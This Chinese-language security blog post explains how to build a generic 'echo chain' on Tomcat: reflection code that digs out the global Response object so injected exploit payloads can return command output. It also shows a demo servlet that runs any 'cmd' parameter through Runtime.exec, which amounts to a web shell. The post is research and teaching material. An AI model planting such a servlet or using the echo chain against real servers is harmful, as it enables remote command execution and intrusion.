Java安全之基於Tomcat的通用回顯鏈

CoLoo發表於2021-11-20

Java安全之基於Tomcat的通用回顯鏈

寫在前面

首先看這篇文還是建議簡單瞭解下Tomcat中的一些概念,不然看起來會比較吃力。其次是回顧下反射中有關Field類的一些操作。

* Field[] getFields() :獲取所有public修飾的成員變數
* Field getField(String name)   獲取指定名稱的 public修飾的成員變數

* Field[] getDeclaredFields()  獲取所有的成員變數,不考慮修飾符
* Field getDeclaredField(String name) 
 Field:成員變數
	* 操作:
		1. 設定值
			* void set(Object obj, Object value)  
		2. 獲取值
			* get(Object obj) 
			

		3. 忽略訪問許可權修飾符的安全檢查
			* setAccessible(true):暴力反射
			
getField和getDeclaredField區別:
getField
獲取一個類的 ==public成員變數,包括基類== 。
getDeclaredField
獲取一個類的 ==所有成員變數,不包括基類== 。

Tomcat 通用回顯

Litch1師傅提出的一個思路,通過找Tomcat中全域性儲存的request或response物件,進而挖掘出一種在Tomcat下可以通殺的回顯鏈。依據師傅的文章進行除錯。

除錯前先解決一個問題,普通的一個命令執行是如何進行回顯的。

程式碼如下:整體流程就是通過request物件拿到我們要執行的命令,並作為引數帶到執行命令的方法中,將命令結果作為InputStream,通過response物件resp.getWriter().write()方法輸出命令執行的結果,從而在頁面獲得回顯。

@WebServlet("/HXServlet")
public class HXServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        int len;
        while ((len = bis.read())!=-1){
            resp.getWriter().write(len);
        }

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doGet(req,resp);

    }
}

除錯分析

那麼在回顯鏈中也就需要我們拿到response物件。

如果需要找一個全域性儲存的request或response物件,那就要在底層看Tomcat處理request或response物件的流程。

這裡起了一個Tomcat9.0.24做測試,debug後觀察呼叫棧,進入文章中提到的Http11Processor

在該類的父類AbstractProcessor中,存在request和response物件,並且是final修飾的,那麼就不可以被直接修改,且該request和response符合我們的預期,我們可以通過這裡的request和response物件構造回顯。

接下來就是往前尋找這個類在什麼地方進行初始化的,這樣拿到Http11Processor物件就可以獲取到request和response物件了。

AbstractProtocol$ConnectionHandler (org.apache.coyote)中發現已經生成了Http1Processor物件

register方法中處理如下:最終是將一個RequestGroupInfo物件放到了AbstractProtocol的內部類ConnectionHandler中的global屬性

RequestGroupInfo儲存了一個RequestInfoListRequestInfo中就包含了Request物件,那麼可以通過Request物件來拿到我們最終的Response (Request.getResponse())。

呼叫流程如下:

AbstractProtocol$ConnectoinHandler------->global-------->RequestInfo------->Request-------->Response。

後面就是要找有沒有地方有儲存AbstractProtocol(繼承AbstractProtocol的類)。發現在CoyoteAdapter類中的connector屬性有很多處理Request的操作,跟進檢視後Connector中存在ProtocolHandler型別的Field,而ProtocolHandler的實現類中就存在AbstractProtocol

而在Tomcat啟動過程紅會將Connector放入Service中,這裡的Service為StandardService。

所以呼叫鏈變為

StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。

而獲取StandardService就變成了現在的關鍵,文中給出的是通過執行緒上下文類載入器,WebappClassLoaderBase

Thread類中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用來獲取和設定上下文類載入器,如果沒有setContextClassLoader(ClassLoader cl)方法通過設定類載入器,那麼執行緒將繼承父執行緒的上下文類載入器,如果在應用程式的全域性範圍內都沒有設定的話,那麼這個上下文類載入器預設就是應用程式類載入器。對於Tomcat來說ContextClassLoader被設定為WebAppClassLoader(在一些框架中可能是繼承了public abstract WebappClassLoaderBase的其他Loader)。

最後的呼叫鏈為

WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。

回顯鏈構造與分析

先放上程式碼

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.List;

@WebServlet("/demo")
public class TomcatEcho extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        /*
        WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->
        --->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
         */
        //0x01 首先通過WebappClassLoaderBase來拿到StandardContext上下文
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

        try {
            //0x02 反射獲取ApplicationContext上下文。丟擲疑問1:為什麼要拿這個上下文?
            Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);

            //0x03 反射獲取StandardService型別的屬性service的值
            Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            service.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);

            //0x04 反射獲取StandardService中的Connectors陣列
            Field connectors = standardService.getClass().getDeclaredField("connectors");
            connectors.setAccessible(true);
            Connector[] connector = (Connector[]) connectors.get(standardService);

            //0x04 反射獲取protocolHandler,為後續獲取RequestGroupInfo陣列作準備
            Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
            protocolHandler.setAccessible(true);

            //0x05 反射獲取AbstractProtocol list。丟擲疑問2:為什麼要用getDeclaredClasses()?
            Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();

            //這裡的classes陣列為內建類,AbstractProtocol有兩個內建類:ConnectionHandler、RecycledProcessors,我們需要的是ConnectionHandler
            for (Class<?> declaredClass : declaredClasses) {
                //通過全限定類名長度篩選出ConnectionHandler
                if (declaredClass.getName().length()==52){

                    // 0x06 獲取getHandler方法,為後續獲取global屬性值:RequestGroupInfo陣列作準備
                    java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
                    getHandler.setAccessible(true);

                    // 0x07 反射獲取global屬性值:RequestGroupInfo陣列
                    Field global = declaredClass.getDeclaredField("global");
                    global.setAccessible(true);
                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));

                    // 0x08 反射獲取RequestGroupInfo中processors,該屬性值為元素型別為RequestInfo的List陣列
                    Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processors.setAccessible(true);
                    java.util.List<org.apache.coyote.RequestInfo>  requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);

                    // 0x09 反射獲取RequestInfo中的org.apache.coyote.Request類
                    Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                    req1.setAccessible(true);

                    // 0x10 遍歷RequestGroupInfo中processors的屬性值,尋找需要的Request物件
                    for (RequestInfo info : requestInfo) {

                        org.apache.coyote.Request request = (Request) req1.get(info);
                        // 0x11 通過getNote()方法獲取org.apache.catalina.connector.Request物件。丟擲問題3:為什麼要用org.apache.catalina.connector.Request物件?丟擲問題4:為什麼要用getNote方法獲取?
                        org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);

                        // 0x12 拿到response物件,回顯鏈構造完畢
                        org.apache.catalina.connector.Response response = request1.getResponse();
                        response.getWriter().write("123");

                    }

                }

            }

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException | ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }


    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doGet(req, resp);
    }

}

貼個回顯命令執行結果的圖慶祝一下

踩坑記錄

下面對構造回顯鏈的poc時的坑點以及疑問做一下記錄:

  1. 反射:關於反射之前沒有仔細學習Field類的相關方法,上面構造時經常要用到獲取某個類中某個屬性的值,以StandarService舉例,程式碼如下:獲取到Field物件之後需要呼叫field.get(context)來拿到對應屬性的值

    Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
    service.setAccessible(true);
    org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
    
  2. 關於回顯鏈程式碼中出現的兩個上下文:StandardContext和ApplicationContext

    首先我們通過webappClassLoaderBase.getResources().getContext()拿到的是StandardContext但是這還不夠,回顯鏈的入口點為StandardService,而在StandardContext上下文中是沒有儲存StandardService的,需要先獲取`StandardContext成員變數ApplicationContext進而獲取Service。這點觀察原始碼就可以發現。

    在Servlet中ServletContext表示web應用的上下文環境,而對應在tomcat中,ServletContext對應tomcat實現是org.apache.catalina.core.ApplicationContext,Context容器對應tomcat實現是org.apache.catalina.core.StandardContext。ApplicationContext是StandardContext的一個成員變數。

  1. 反射獲取AbstractProtocol為什麼要用getDeclaredClasses()

    因為這裡要獲取內部類ConnectionHandler,所以需要用到getDeclaredClasses()方法

    獲取內部類 getDeclaredClasses()
    獲取外部類 getDeclaringClass()

  2. 最後為什麼用org.apache.catalina.connector.Request物件來獲取Response

    org.apache.coyote.Request request = (Request) req1.get(info);
                            // 0x11 通過getNote()方法獲取org.apache.catalina.connector.Request物件。丟擲問題3:為什麼要用org.apache.catalina.connector.Request物件?丟擲問題4:為什麼要用getNote方法獲取?
                            org.apache.catalina.connector.Request request1
    

    這裡org.apache.coyote.Request確實有getResponse方法,也能拿到Response物件,但是看一下org.apache.coyote.Response程式碼和 org.apache.catalina.connector.Response區別:

    org.apache.coyote.Response沒有實現HttpServletResponse介面,也沒有getWriter()等方法幫我們製造回顯,所以沒選擇用它。

  1. 關於Request物件哪裡的的getNote()方法

    獲取到Request需要呼叫request.getNote(1);轉換為org.apache.catalina.connector.Request的物件。

    這個方法是在org.apache.coyote.Request中定義的,詳細解讀可參考:https://segmentfault.com/a/1190000022261740

    通過呼叫 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 來獲取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 物件

相關文章